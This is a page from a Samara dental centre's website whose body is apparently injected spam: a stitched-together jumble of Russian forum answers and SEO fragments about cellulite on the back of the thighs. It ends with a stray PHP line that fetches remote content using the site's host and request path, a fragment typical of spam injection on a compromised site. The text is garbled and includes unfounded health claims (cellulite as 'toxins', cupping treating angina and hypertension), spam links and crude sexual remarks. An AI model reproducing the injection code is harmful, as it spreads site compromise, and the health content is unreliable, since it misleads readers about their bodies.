Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Подскажите пожалуйста как избавится от целлюлита не худея...y меня хорошая фигура только целлюлит на задних бедрах////

Думаю бегать

Предлагаемые далее упражнения для задней части бедра укрепляют мышцы этой зоны и соединительную ткань задней стороны ног и избавляют от целлюлита в этой области. Упражнение первое.

Массаж у хорошего массажиста, и тренажорка для подтяжки кожи)

А на передних бёдрах что ? :) ;)

Попробуй обертывание с антицеллюлитным кремом... и вот тут лучший ответ почитай http://otvet.mail.ru/question/41076726/

Мне очень помогли домашние обертывания косметики GUAM. Вы можете посмотреть по http://klubkrasoti.ru/v681/lb10010156/c7 .Целюлит исчез через месяц.

Помогите девочки спасайте! Как убрать целлюлит с задней части бедра. ужс какой-то. При чем он у меня только на правой ноге

А вот и глюки пришли. Поздравляю!! !
На одной ноге!!!! ХА-ХА-ХА!!!

Ноги не являются самой посещаемой целлюлитом зоной, однако апельсиновая корка на бедрах, внутренней внешней их части, не самое лицеприятное зрелище.Теперь давайте разберемся как избавиться от целлюлита на задней поверхности бедра.

Обратитесь за помощью к профессионалам, не всегда можно избавится быстро и эффективно от целлюлита самостоятельно, особенно если целлюлит уже давно и глубокий так сказать. Мне от целлюлита помог эффективно вакуумный массаж и обертывания, естественно самостоятельно я могла делать только обертывания, но не стала, решила проходить все процедуры у профессионалов, ходила в салон "Астери Эстетик", там проходила сеанс и массажа и обертывания, кстати говорят что как раз самый лучший вариант, это совмещать две эти процедуры, эффект лучше. Но кроме этого, важно еще и питаться правильно и соблюдать питьевой режим, сами понимаете, что зачастую и целлюлит и лишний вес как раз из за неправильного питания и не соблюдения питьевого режима, так что заработать целлюлит просто, а вот избавится от него самостоятельно очень сложно и одной корректировкой питания, вряд ли получится, главное, что бы меры были комплексные и вот тогда будет и эффект положительный.

Антицеллюлитный массаж. если плохо питаешься и не занимаешься спортом, то потеря времени

Целлюлит на задней поверхности бедер и на внутренней стороне сверху-его там много.Как убрать?

Бегать по вечерам, на скакалке прыгать и много не кушать.

Задняя поверхность бедра излюбленная зона целлюлита. Именно там некрасивая апельсиновая корка появляется чаще всего.Как убрать жир с внутренней части бедра. ТОП 5.

Как убрать незначительный целлюлит на задней поверхности бедра?

Начни делать массаж с помощью мёда и соли, после массаж наноси любой крем/гель антицеллюлитный.

Это упражнение хорошо прорабатывает ягодицы, избавляет от целлюлита заднюю поверхность бедра.Чтобы уменьшить внутреннюю часть бедра, как и другую часть тела, нужно выполнять три условия выбирать упражнения, в которых работает несколько мускулов

Обертывания справятся с этой проблемой!!!

Мне нравятся обертывания с глиной, скрабы с кофейной гущи, а после антицеллюлитку.

Полезен ли вакуумный массаж? Какие у него есть противопоказания?

Противопоказания стандартные

Во-вторых, если ваша цель состоит в придании тонуса для задней группы мышц бедра или попытке избавиться от целлюлита, то делатьТак как часть мышц этой группы прикрепляются к седалищному бугру, то они вместе с ягодичными мышцами принимают участие и в разгибании...

Противопоказаия есть у всего...

При варикозе, кожных заболеваниях, близко расположенные вены

Из-за чего мог появится целлюлит?

Я с ним не борюсь, я даже не знаю есть он у меня или нет

Как убрать с бедер целлюлит? Безусловно, целлюлит на бедрах, в его начальных проявлениях, подвергается коррекции легче.Нежно любимая нами апельсиновая корочка на задней поверхности бедра появляется по причине нарушения обмена веществ в соединительной ткани...

А каким спортом? Какая диета? Многое зависит от возраста, от питания, от упражнений, все строго индивидуально, если не помогает, значит не то или более усердно стараться

Ну смотря на скольких диетах ты сидишь)
Ну вобще тут очень все просто убавь калории в рацеоне и все процент жира постепенно спадет больше салатов с овощами меньше мучного, жаренного и т. д.

Целюлит также может появится ели резко худеешь или поправляешся

Целлюлит - вторичный женский признак. Растирайте жесткой мочалкой проблемные места.

Целлюлит-это скопление ядов и токсинов в жировом слое, к тому что ты уже делаешь, это классно, но нужно периодически комплексно очищать организм. Есть классные очистки и космоцевтика в комплексе и целлюлита как не бывало!

Если у вас целлюлит расположен только в верхней части бедра - не ленитесь и делайте самомассаж всей поверхности ног.Удары наносите ребром ладони, пальцы при каждом ударе должны смыкаться. В заключение массируют задние поверхности б дер.

За сколько можно убрать целлюлит с помощью ходьбы на ягодицах?

Ходьба на ягодицах. записал.

Когда женщины достигают возраста полового созревания, начинается борьба с целлюлитом на б драх. Да, это самое любимое нами место верхняя задняя часть б дер, которая очень чувствительна к нашим уникальным гормональным особенностям.

А ты не боишься. что при такой ходьбе, у тебя задница будет вот такая??? ?
Она то же ходила на ягодицах! ! Тебя это не пугает? ?

Эффект будет лучше, если добавлять Антицеллюл . крема и диету. А сроки? мы же не знаем какая стадия цел-та у вас, НО главное начать )))

Какие мышцы задействует тренажер степплер,эффективен ли он,избавляет ли от целлюлита?

Степпер задействует ягодичные и мышцы ног. но не советую на нем заниматься - очень страдают колени. а от целлюлита спасет только правильное питание и ПРАВИЛЬНЫЕ занятия спортом.

Целлюлит не имеет к весу никакого отношения. я довольно стройная и на задней поверхности бедра он есть. на танцы хожу, а не помогает .Имеются ввиду нагрузки, когда упражнения силовые делаются только на ноги, или на ноги сильно, а на другие части тела- мало упражнений...

Вот бы на него посмотреть, на это мифический целлюлит, ни разу не видел...

От целлюлита эффективен масса,но его можно использовать если нет предрасположенности к варикозу.

Как лучше прокачать ягодицы?

Приседания со штангой или с гантелями-самое лучшее.

Упражнения против целлюлита для передней части бедра. Целлюлит чаще всего возникает именно на бедрах.Не забудьте в конце выполнить упражнение на растягивание, иначе в задней части мышц бедер могут возникнуть напряжения.

Одна нога вперёд, вторая полусогнута. И приседать так. Но лучше на специальных тренажёрах. Обычные приседания тоже воздействуют.

Секс

Приседаниями с гантелями!!!!

Вело насосом или авто насосом! можно электро насосом!

Приседать!!!! Еще на лифте никогдане ездить, только надо вглубокий присяд уходить.

Как избавиться от целлюлита на бедрах. Недавно ученые из Австралии доказали, что наиболее привлекательная часть дамского тела с точкиНосок должен смотреть параллельно полу. 3. Работа с ягодицами. Самое эффективное упражнение для задней поверхности бедра так...

Опять, я надеюсь, что Вы спрашиваете это из шутки?
Потому как если вы действительно собрались "прокачать" "ягодицы" идите за советом к профессионалу, который будет нести за это ответственность. А не сюда где пишут абы что написать. Так, например, если вы соберетесь последовать совету и уходить в глубокий присЯд - заранее себе скорую вызовите, коя доставит вас в ЦИТО где вам прооперируют травмированное колено, а то и оба.

По больше в попу давать!!!!

Приседания, отвод ног назад, бег.

Подтянуть ноги с внутрнеей стороны от колен и выше. Подтянуть попу. Какие упражнения?

Выпады с гантелями, упражнения на сведение и разведение ног.

Задняя часть бедер, внешняя часть бедер и ягодицы. Задняя часть бедра участок, который начинается сразу под ягодицей и тянется до подколенной впадины это наиболее часто поражаемое целлюлитом место.

Приседание, одно из самых эффективных методов быстрого подтягивания ягодиц. Встаньте ровно, ноги разведите как можно шире, носки «смотрят» в разные стороны, руки на поясе. Дышите ровно, на выдохе опускайтесь вниз, как можно глубже, спину держите ровно, и медленно на вдохе становитесь в исходное положение. Повторите упражнение 3-5 подходов, по 10-15 раз Упражнение «выпады с прыжком»
Данное упражнение тренирует внутреннюю часть бедра и заднюю. И позволяет убрать целлюлит с ягодичной мышцы. Станьте ровно, ноги немного расставлены, руки на поясе. Правую ногу выставите вперед как можно дальше и присядьте на нее, колено левой ноги не прикасается к полу. Перенесите тяжесть тела на правую ногу и поднимайтесь, встаньте на носочек правой ноги, подпрыгнув, при этом левую ногу согните в колене и подтяните как можно выше к груди. Вернитесь в исходное положение и повторите упражнения с другой ноги. Сделайте 3 подхода на каждую ногу по 10-15 раз. Упражнение №3
Лягте на фитнес-коврик. Лежа на спине, согните ноги в коленях руки разведите в стороны. На счет раз поднимайте таз вверх, чтобы спина была ровной, опора на плечи и ноги, на счет два медленно опускайтесь в исходное положение. Данное упражнение хорошо подтягивает ягодицы. Делайте 3-5 подходов по 15-20 раз. Желаю удачи и чтоб попа была как орех;)

Делай с приседом жим ногами и сгибание ног в тренажере

Поза "наездница"

Катерина, на всякий случай предупреждаю что приседы с тяжелой штангой допустимы только если у Вас нет артроза в коленных суставах. Лучше приседы со штангой разучивать с тренером, пол тренера не важен, главное - знания и благожелательность к Вам.
Успехов!

Попробуйте в дополнении специальные обертывания. В купе с правильным питанием и спортом это только положительно повлияет на вашу кожу. Плюс профилактический и спортивный массаж http://www.fitosandra.ru/uslugi/rasslablyayushchiy-massazh/profilakticheskiy-massazh/

Что самое интересное, так это то, что целлюлит на задней поверхности бедра может быть спровоцирован не только неправильной пищей, но также и тем, как поглощается еда.

От чего поправляються всегда только бедра, когда руки совсем худые?

Окорока растут! Зона, благоприятная для отложения жира и появления целлюлита. Да и на руках выше локтя у многих-"холодцы"висят.

Теоретически целлюлит может формироваться на различных участках тела, однако преимущественно поражает область живота, ягодиц и ног верхнюю часть бедер . Характеризуется появлением эффекта шероховатости кожи...

Поменьше вертите своей красотой.

Это конституция у людей разная, одни поправляются на уровне живота и груда, другие на бедрах и ногах
нужно заниматься спортом, если просто худеть, то годам к 40 у вас будут очень худые руки, а бедра и ноги будут набирать вес как обычно

Плюс скорей всего у Вас А-образный тип фигуры! ! Или иными словами"груша"...

Ну не знаю, у меня всегда грудь поправляется, а бедра остаются такими же

В проблемных местах, жир откладывается в первую очередь.
Теперь вы знаете свои проблемные места.

У меня целлюлит как раз только на внутренней стороне бедра и вот на протяжении 3-х недель я каждый день делаю медовый массаж с акцентом на внутреннюю часть. Все было и есть классно...

У вас такое строение тела, тут нечего не поделаешь, широкие бедра и узкая талия просто шик

А если девочка поправится, то грудь вырастает. А у мальчиков?

Тоже грудь вырастает :D

Гимнастика против целлюлита для бедер. Вас беспокоит целлюлит на бедрах? Рекомендуем научиться специальной гимнастике, которая поможет избавиться от лишних сантиметров и проблемных участков на внешней и внутренней части бедра.

Пузо, но перед тем как у девочек вырастает грудь - толстеют ноги бедра и бока.

Вранье! Нифига она не растет=((

У мальчиков его размер не зависит от размеров других частей тела.

Тоже))))

Итвиснет пузо и гдуть

Очень часто целлюлит поражает заднюю поверхность бедер.Живот должен быть втянутым, а нижняя часть спины прямой. Опустите ногу, но не касайтесь ею пола. Повторите упражнение с другой ногой.

Тоже.. . ток если не качать будет как у девочек

Вырастает жопа!

Уважаемая, что-то Вас на интимные подробности потащило! Порнуху, что-ли смотрите

Не всегда грудь в легкую и задняя часть подрасти может. без изменения груди.

Нет жиром заплывает

2. Для передней части бедер стоим прямо, ноги на ширине плеч переносим вес на левую ногу4. Бедра, икры. Это упражнение для ног помогает от целлюлита, только если держать спинку идеально прямой и не заваливаться на бок.

У мальчиков по умолчанию не предусмотрены области отложения жировых тканей, однако чрезмерное потребления пива ведёт к повышению горомна-эстрогена, что приводит к программированию организма на отложение жировых тканей там же, где и у женщин - грудь, живот и бёдра. Сами по себе мужчины если поправляются то во всём теле одновременно.

Иногда и у мальчиеов

Главное спать вабнимку

У дедушек морда обвисает и живот вырастает

А у мальчиков корешок врастает в пузо

Все девушки приходят в ужас, когда видят, что на бедрах появился целлюлит и это не может не угнетать! Более подверженной зоной, которую облюбовали жировые отложения является внутренняя часть бедра.

Да им вообще повезло.. целлюлита у них нет.... живот только растет да ноги

Как убрать жир с попы?

Девушки/женщины, помогите в борьбе с целлюлитом.

Спортом займись и пей достаточно воды..

Эти упражнения помогут найти ответ, как уменьшить объем ног в их верхней части. Выполнять их нужно каждый день, что займет не более 20Современные косметологические процедуры позволят улучшить обмен веществ в коже, устранить целлюлит на бедрах и ягодицах.

Упражнения на заднюю часть бедра - обязательно. Больше двигаться, крем купите - подтягивающий (без спорта - не работает) .
Примерные упражнения: приседания (от 20 и выше) , бег на месте (стараясь бить себя ногами взади) , отведения ног назад и в стороны.
За сколько избавитесь - это, зависит от степени выраженности целлюлита, и от вашего желания и стремления избавиться от него.

Лучше всего качать пресс или кефир пить на ночь

Попробуйте сочетать упражнения, которые вам посоветовали ранее с антицеллюлитной косметикой. Я сама пользуюсь такой, cell-plus называется. Думаю, что если сейчас начнете работать над собой, к лету успеете избавиться от целлюлита.

От целлюлита поможет только LPG массаж

Если в москве то прошу я помогу пишите жду

Задняя часть бедер перестает быть гладкой, и целлюлит пытается превратить их в творог. Задняя часть бедер. Подколенные сухожилия отвечают за форму задней части бедер от колен до ягодиц. С помощью этих мышц вы сгибаете колени.

Ледяной душ каждый день по чуть-чуть. Направляй струю на места там где целлюлит. Мне помогло! Можно еще мочалкой тереть, самомассаж делать. А упражнениями и питанием целлюлит не уберешь!

Не как не могу избавиться от целлюлита! ! девушки, помогите своими советами (ТЕ КОМУ РЕАЛЬНО ПОМОГЛО)!!

Массаж и упражнение но делать надо постоянно

Упражнения против целлюлита для задней части бедра Упражнения против целлюлита для задней части бедра Вам хочется хорошо выглядеть и соНе забудьте в конце выполнить упражнение на растягивание, иначе в задней части мышц бедер могут возникнуть напряжения.

Абсолютно народное средство - бег

Иди к врачам.

Народные? - не смеши
аппаратная косметология и обертывания уберут

Народыми? Можешь забыть тогда. Антицеллюлитный массаж + нормальное питание + спорт.

Скраб "Лакшми".
Ингредиенты:
1/2 стакана сахара
1/2 стакана морской соли Показать полностью..
1/2 стакана оливкового масла "Extra virgin"
1/2 стакана меда
эфирные масла ( иланг-иланг, пальмароза, апельсиновое, ромашковое, в общей сложности 30 капель )
1 ст. ложка масла ши
1 ст. ложка масла какао
25 гр. корицы
25 гр. сухого имбиря
25 гр. какао-порошка
Приготовление:
Смешать морскую соль и сахар, добавить оливковое масло и ваши любимые эфирные масла. Их должно быть не более 30 капель в общей сложности. На водяной бане растопить мед, в него, постепенно помешивая деревянной ложечкой, добавить сухие ингредиенты - имбирь, какао, корицу. Когда мед полностью расплавится, немного остудить и перелить получившуюся смесь к соли, сахару и оливковому маслу.
Можно хранить скраб в чистой баночке. Для одного раза достаточно всего пары ложек. Делала пару раз в неделю после душа, целлюлит заметно сократился, результатом я довольна и пользуюсь до сих пор.

Ответы на вопросы Как избавиться от целлюлита на задней части бедер - wikihow, Как избавиться от целлюлита в домашних условиях - рецепты. О том, , вы узнаете на страницах нашего сайта. Можно заметить лишь потерю эластичности кожи в районе ягодиц...

Велосипед

Занималась спортом. Бегом, на велотренажере.

Как сделать красивую попу?

Приседай

Как избавиться от целлюлита на задней части бедер. Ямочки и неприглядный целлюлит это генетическое, и, к сожалению, вы мало что можете сделать, чтобы избавиться от него навсегда. Вы можете воевать с целлюлитом на задней части бедер и, мож...

Ешь торты

Общие правила приседаний: 1. Напрягите мышцы живота: они должны образовать корсет вокруг талии и зафиксировать позвоночник. 2. Не выгибайте и не округляйте спину, не сутультесь: от копчика до затылка должна быть прямая линия. 3. Следите за тем, чтобы в нижней позиции колени не выходили вперед, внутрь или наружу: они должны оставаться над стопами. 4. Не отрывайте пятки от пола. 5. Не задерживайте дыхание, дышите ровно и спокойно, в такт движениям.

Махи ногами назад - туловище держать прямо

Нарисуй хорошенькую тату

Приседания с весом - отличная штука. любую попу на ноги поставит!

Как накачать заднюю часть бедер. Вопрос как мне похудеть после родов?подскажите пожалуйста! Как правило, самыми подверженными к образованию целлюлита местами становятся задняя поверхность бедер и попа.

Http://sportbok.narod.ru/Fit/fit1.html

Выпады с гантелями, колени перебинтуй

Делай эти 5 упражнений через день в течении месяца, и упругая попка твоя.
1. Приседание с отведением ноги
Работают мышцы бедер и ягодиц
и. п: стопы на ширине плеч.
раз: выполни приседание – потянись ягодицами назад, сохраняя вес тела на пятках, бедра при этом параллельны полу, угол в коленных суставах – 90°, мышцы живота в тонусе.
два: на выдохе поднимись и отведи правую ногу в сторону, носок – на себя.
2. Выпад с подъемом ноги
Работают мышцы бедер и ягодиц
и. п: ноги на ширине таза. Левая нога впереди, правая – сзади, упор на носок. вытянут, лопатки сведены.
раз: выполни приседание, угол в коленных суставах – 90°.
два: на выдохе поднимись, одновременно перенеси вес тела на левую ногу, а правую оторви от пола. Не прогибайся в пояснице, мышцы живота в тонусе! Вернись в и. п.
3. Плие с подъемом на носки
Работает внутренняя поверхность бедра и икроножные мышцы
и. п. : стопы шире плеч.
раз: на вдохе выполни глубокое приседание (колени направлены на носки, спина ровная, кобчик тяни вниз!) , в нижней его точке поднимись на носки.
два: выдох – и. п. .
4. Подъем бедра
Работают задняя поверхность бедра и мышцы ягодиц
и. п: прими коленно-локтевой упор. Зафиксируй спину, не прогибайся в пояснице, мышцы живота в тонусе.
раз: на выдохе подними согнутую ногу верх, потянись пяткой в потолок, но не допускай разворота в тазобедренном суставе.
два: вдох – и. п.
5. "Бабочка"
Работают внутренняя поверхность бедра и мышцы ягодиц
и. п: лежа на левом боку. Обопрись на руку, подними согнутые в коленях ноги (угол – 45°), стопы – на весу.
раз: на выдохе направь правое колено в потолок, одновременно напрягая ягодицы.
два: и. п.

Дам ответ те та тет отвечу.

Подьем бедра самая супер гимнастика, попа как камень потом или встаешь на колени и начинаешь поднимать ноги только нога должна находиться под 90 градусов начни с 20 подходов на каждую ногу а потом сама почуствуешь, если во время занятия начинается жжение в области попы то значит твои мышцы работают, но не перебарщи. Удачи

Предлагаемые упражнения против целлюлита укрепляют мышцы и соединительную ткань задней стороны ног. Не забудьте в конце выполнить упражнение на растягивание, иначе в мышцах задней части бедер может возникнуть излишнее напряжение.

Какие места и как правильно делать баночный массаж?

На губы. Это учше, чем силикон.

Тренировка задней поверхности бедра избавит от возможности появления целлюлита, приведет мышцы в тонус, избавит от возможных проблем связанных сПри верном техничном выполнении вы разовьете верхнюю часть мышц задней поверхности бедра и мышцы ягодиц.

Этот массаж должен делать профи, который прошел курс обучения. Как можно по совету провести эту процедуру? Не советую. Не навредите себе.

Вакуумный массаж проводит лечение, используя постановку банок, внутри которых создается разрежение, обычно путем сжигания кислорода. Создающееся разрежение при вакуумном массаже увеличивает снабжение тканей кислородом, интенсивность обмена веществ, и улучшает кровообращение. Эти эффекты способствуют обновлению и укреплению кожи, и стимуляции лимфодренажа, что приводит даже к устранению эффекта «апельсиновой корки» .
Классический вакуумный массаж чаще всего использует стеклянные банки с утолщенными краями емкостью 50-100 мл. Вакуумный массаж проводится через контактную среду - вазелиновое или растительное масло с добавлением аромамасел, липоактивных гелей, обладающих лечебными свойствами. На смазанную кожу прикладывают банки, которые должны накрепко присосаться к коже. Вакуум в банке создается введением горящего тампона из ваты, смоченного в спирте. После этого горящий тампон быстро убирается и банка ставится на кожу. Затем массажист передвигает банки, что вызывает местный прилив крови к коже, подстегивание обмена веществ и разрушение жировых клеток. Обычная продолжительность вакуумного массажа - 15-20 минут.
Также вакуумный массаж проводится с помощью специальных аппаратов, которые позволяют быстро и безболезненно разрушать крупные жировые образования под кожей и налаживают лимфоотток, за счет чего выводятся накопившиеся шлаки и устраняется отечность. Современные аппараты регулируют давление вакуумного массажа, и уровень интенсивности воздействия подбирается в соответствии с чувствительностью кожи.
Объемной насадкой, создающей вакуум, обрабатывается проблемная зона. Вакуумный массаж с аппаратными насадками производится благодаря бережному всасыванию кожи и ее перекатыванию в любом направлении. Массажист при этом совершает круговые движения, мягко надавливая на кожу. Процедура занимает по времени около 30 минут. Результат становится заметным после 5-8 сеансов.
Вакуумный массаж оказывает как косметическое, так и лечебное воздействие. В косметологии вакуумный массаж активно применяют для лечения локального целлюлита в области ягодиц, на задней поверхности бедер и зоны «галифе» , а также для устранения эффекта апельсиновой корки. Но вакуумный массаж можно проводить и на все тело. Разработаны схемы лечения целлюлита, где вакуумный массаж сочетается с вибромассажем и электролиполизом. Последние разрушают жировые клетки, а вакуумный массаж, усиливая лимфоток, очищает организм от продуктов их распада. Кроме того, вакуумный массаж тонизирует мышцы, проводя небольшой лифтинг, восстанавливает упругость кожи, способствует рассасыванию рубцовых тканей и стрий. Поэтому вакуумный массаж применяется для улучшения и укрепления контуров тела, то есть, моделирования фигуры, для разглаживания морщин, улучшения цвета лица и коррекции локальных недостатков овала лица, двойного подбородка.
Вакуумный массаж оказывает замечательный лечебный эффект при мышечных болях в спине. В этом случае акцент делается на особо болезненных местах до снятия болевого сигнала (особенно в «узлах боли» на лопатках и пояснице) . Вакуумный баночный массаж, проведенный на мышцах и сухожилиях, вызывает значительное их расслабление. Критерием времени воздействия вакуумного массажа является появление стойкого покраснения кожи. Движения банок производятся в центробежном круговом направлении, но всегда завершаются в направлении венозного оттока — вверх вдоль позвоночника и в стороны или вниз к пояснице и паху. Обычные зоны воздействия лечебного вакуумного массажа: воротниковая зона и шея, спина, поясничная область, бедро, ягодицы, плечо, голень. Ставятся банки также на живот - при опущении внутренних органов в районе живота и малого таза. Кроме снятия болевого синдрома, вакуумный массаж применяется для лечения гипертонической болезни, стенокардии, головных болей, гинекологических заболеваний, вегетососудистой дистонии и бессонницы.

Скачайте видеокурс и занимайтесь)
http://tfile.ru/forum/viewtopic.php?t=114125

А что значит вакуумный массаж и как его делают ?

Банки ставили на спину при простуде? То же самое! Только эти банки нужно двигать, по телу, вдоль позвоночника по определенной схеме.

Упражнения против целлюлита на бедрах являются одновременно и средством профилактики целлюлита, и одним из способов борьбы с ним.Это упражнение помогает укрепить внутреннюю часть бедра, а также ягодицы.

Антицеллюлитный массаж. кто пробовал?

Я дома сама делаю. Купила варежку массажную, беру любой антицеллюитный крем и массажирую минут 15.

Задняя поверхность бедра. Ляг на живот, голову положи на руки. Ноги согни в коленях перпендикулярно полу, стопы параллельно полу.Упражнение от целлюлита на внутренней части бедра.

Я делаю. Синяки скажу вам не у всех.

Эффект есть, но у меня синяки и что самое ужасное-видны сосудики и вены потом, поэтому не делаю больше

Я делаю своим клиентам и синяков нет.

Если гематомы появляются, то это непрофессионализм массажиста. Раньше да, это было признаком добросовестности специалиста. Однако с середины 2000-х годов культивируется культ эстетичности, поэтому все тело должно без синяков.

Делаю медовый массаж против целлюлита, район талии, ягодицы и передняя область бедра (заднюю делаю маслом, чтобы не появлялисьсосудики и капилляры в этой области) начинаю с легкой нагрузки и на 10-12 массаж в полную силу-если нет синячков... делаю через день-а через день клиент ходит в спортзал на беговую дорожку или анаэробные упражнения

Однако именно бедра обладают наибольшим количеством мускулов, работа которых быстро убирает целлюлит. Для тех, кто находится в хорошей физической форме, рекомендуются 3-4 подхода по 15-20 упражнений, для новичков 1-2 подхода.

Читала где то в брашуре, что целлюлит не убрать с помощью массажей всё вернется. А нужно спортом заниматся и рацион питания соблюдать

Чем заменить штангу в приседаниях со штангой?

Гантели

Предлагаемые далее упражнения для задней части бедра укрепляют мышцы этой зоны и соединительную ткань задней стороны ног и избавляют от целлюлита в этой области. Упражнение первое.

Что-нибудь потяжелее и удобнее в руках, чтобы лежало и не мешало правильному выполнению упражнения
лучше если ничего нет побегай по лестнице вниз вверх тогда, разминка что надо :)

Другой штангой! а как связаны целлюлит у тети и приседания!? если у тебя то кардио упражнения типа бега не менее получаса

Тут дело в технике, надо приседать за счёт задних мышц бедра, приводящих и пояснично-подвздошных мышц

Целлюлит - это отеки, и одной штангой тут не обойтись. Нужен комплексный подход. Штангу можно заменить гантелями, блоками, тренажерами.

Гантели

Ноги не являются самой посещаемой целлюлитом зоной, однако апельсиновая корка на бедрах, внутренней внешней их части, не самое лицеприятное зрелище.Теперь давайте разберемся как избавиться от целлюлита на задней поверхности бедра.

Штангу в приседаниях, именно со ШТАНГОЙ...)) )
Ничем.

Что такое вакумный массаж?

Водят по телу пылесосом без насадки .

Задняя поверхность бедра излюбленная зона целлюлита. Именно там некрасивая апельсиновая корка появляется чаще всего.Как убрать жир с внутренней части бедра. ТОП 5.

Его делают что бы циллюлит и жирок убрать

Вакуумный это когда массажируемая область покрывается "засосами"- примерно тоже самое, что и банки (ставили тебе в детстве) . По поводу противопоказаний я могу только предположить, что его нельзя применять людям с близким расположением кровеносных сосудов к поверхности кожи. Рад если чем-то помог ;-))

Вакумный массаж это тот же медовый, укрепляет кожу, делаюет ее гладкой, уменьшается целлюлит, делают его так: берут банку палочку на палку наматывают вату поджигают, кожу перед этим смазывают маслом или жирным кремом, горящую палочку подносят к банке на пару секунд и на проблемную зону (попу, бедра) и водят масирующими движениями, противопоказаний нет, так же как и у медового массажа.
медовый массаж: берется мед (цветочныЙ) 1 чайная ложка на проблемную зону и похлопывающими движениями делается массаж в течении 10 минут, массаж болезненый остаются синяки, но эффект заметен после 5 применения, делают курс через день в течение 15 процедур, после массажа нужно принять душ и смазать кожу антицеллюлитным или увлажняющим кремом! будьте здоровы) не болейте)

Подскажите на самом ли деле так хорош вакумный массаж???

Мне нравится.

Это упражнение хорошо прорабатывает ягодицы, избавляет от целлюлита заднюю поверхность бедра.Чтобы уменьшить внутреннюю часть бедра, как и другую часть тела, нужно выполнять три условия выбирать упражнения, в которых работает несколько мускулов

Очень хорош) у меня за 2 дня на лице все морщинки мимические ушли в никуда)))

Да, ваккумный массаж помогает для коррекции фируры и избавляет от целлюлита, только после него могут появляться синяки на коже.

Самый лучший масаж в мире со спермой!!!! кому нужна могу продать пару баночек есть в запасе пишие пока все не разбрали))

Да массаж хорош, говорят это самый лучший способ избавления от целлюлита. Сама вот уже как 2 дня начала делать, целлюлит уж за такой период не уберешь, но кожа стала такой гладкой. Я сама удивилась. А чтобы добиться результата (целлюлит) нужно как минимум 15 процедур.
Желаю удачи!

Делаю такой массаж .вот уже 4 процедуры, больнова-то конечно, но красота требует жертв, да и синяки проходят быстро зато кожа становиться симпотишней

Во-вторых, если ваша цель состоит в придании тонуса для задней группы мышц бедра или попытке избавиться от целлюлита, то делатьТак как часть мышц этой группы прикрепляются к седалищному бугру, то они вместе с ягодичными мышцами принимают участие и в разгибании...

Нужно делать со специальными маслами (антицелюлитными) или хотя бы кремом. После массажа замотать тело в тёплое. и воообще помогает очень

Целлюлит задней части бедра
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта